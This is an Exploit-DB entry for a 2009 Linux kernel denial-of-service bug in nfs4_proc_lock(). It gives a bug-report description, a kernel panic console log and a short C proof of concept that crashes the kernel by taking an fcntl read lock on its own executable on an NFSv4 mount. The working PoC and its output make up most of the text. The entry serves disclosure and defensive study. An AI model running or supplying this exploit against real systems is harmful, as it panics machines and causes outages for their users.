Linux Kernel < 2.6.31-rc4 - 'nfs4_proc_lock()' Denial of Service

EDB-ID:

10202


Type:

dos


Platform:

Linux

Date:

2009-10-15


/*
Description of problem:

execution of a particular program from the Arachne suite reliably causes a
kernel panic due to a NULL-pointer dereference in nfs4_proc_lock().

Version-Release number of selected component (if applicable):

2.6.18-164.2.1.el5

How reproducible:

always on NFSv4 mounted directories

Steps to Reproduce:
1. wget http://www.genoscope.cns.fr/externe/redhat/XMLMissingField
2. Save a copy on an NFSv4-mounted directory
3. Execute it

Actual results:

Kernel panic

Expected results:

No panic

Additional info:

Console output:

Unable to handle kernel NULL pointer dereference at 0000000000000030 RIP:
 [<ffffffff8837b210>] :nfs:nfs4_proc_lock+0x21f/0x3ad
PGD 1026eec067 PUD 1026f2f067 PMD 0
Oops: 0000 [1] SMP
last sysfs file: /block/dm-1/range
CPU 0
Modules linked in: ipmi_devintf ipmi_si ipmi_msghandler nfs lockd fscache
nfs_acl sunrpc bonding ipv6 xfrm_nalgo crypto_api video hwmon backlight sbs
i2c_ec button battery asus_acpi acpi_memhotplug ac joydev sg shpchp i2c_nforce2
i2c_core forcedeth dm_snapshot dm_zero dm_mod sata_nv libata mptsas mptscsih
mptbase scsi_transport_sas sd_mod scsi_mod ext3 jbd uhci_hcd ohci_hcd ehci_hcd
Pid: 4070, comm: XMLMissingField Not tainted 2.6.18-164.2.1.el5 #1
RIP: 0010:[<ffffffff8837b210>]  [<ffffffff8837b210>]
:nfs:nfs4_proc_lock+0x21f/0x3ad
RSP: 0018:ffff810819bdbdd8  EFLAGS: 00010246
RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000
RDX: ffff810827c52088 RSI: 0000000000000006 RDI: ffff810819bdbe38
RBP: ffff81081a6dfdc0 R08: 0000000000000001 R09: ffff810819bdbd68
R10: ffff810819bdbd68 R11: 00000000000000d0 R12: ffff810827c52088
R13: 0000000000000000 R14: ffff810819a9b930 R15: 0000000000000006
FS:  00002b97d31fc7b0(0000) GS:ffffffff803c1000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
CR2: 0000000000000030 CR3: 00000010268cb000 CR4: 00000000000006e0
Process XMLMissingField (pid: 4070, threadinfo ffff810819bda000, task
ffff810827d6a7e0)
Stack:  00000000000003e8 0000000000000000 ffff810819a9b930 ffffffff88373e4f
 0000000000000000 0000000000000000 0000000000000000 0000000019a9ba40
 ffff810819bdbe18 ffff810819bdbe18 0000000000000000 0000000000000000
Call Trace:
 [<ffffffff88373e4f>] :nfs:nfs_sync_inode_wait+0x116/0x1db
 [<ffffffff8836a226>] :nfs:do_setlk+0x55/0x8c
 [<ffffffff80039e72>] fcntl_setlk+0x11e/0x273
 [<ffffffff800b66fa>] audit_syscall_entry+0x180/0x1b3
 [<ffffffff8002e5bb>] sys_fcntl+0x269/0x2dc
 [<ffffffff8005d28d>] tracesys+0xd5/0xe0


Code: 49 8b 45 30 4c 89 e6 4c 89 ef 45 8a 74 24 58 48 8b 40 18 48
RIP  [<ffffffff8837b210>] :nfs:nfs4_proc_lock+0x21f/0x3ad
 RSP <ffff810819bdbdd8>
CR2: 0000000000000030
 <0>Kernel panic - not syncing: Fatal exception

PoC:
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>

int main(int argc, char **argv)
{
	int fd, err;
	struct flock fl = { .l_type	= F_RDLCK,
			    .l_whence	= SEEK_SET };

	fd = open("/proc/self/exe", O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "Couldn't open /proc/self/exe: %s\n",
			strerror(errno));
		return 1;
	}

	err = fcntl(fd, F_SETLK, &fl);
	if (err != 0) {
		fprintf(stderr, "setlk errno: %d\n", errno);
		return 1;
	}

	return 0;
}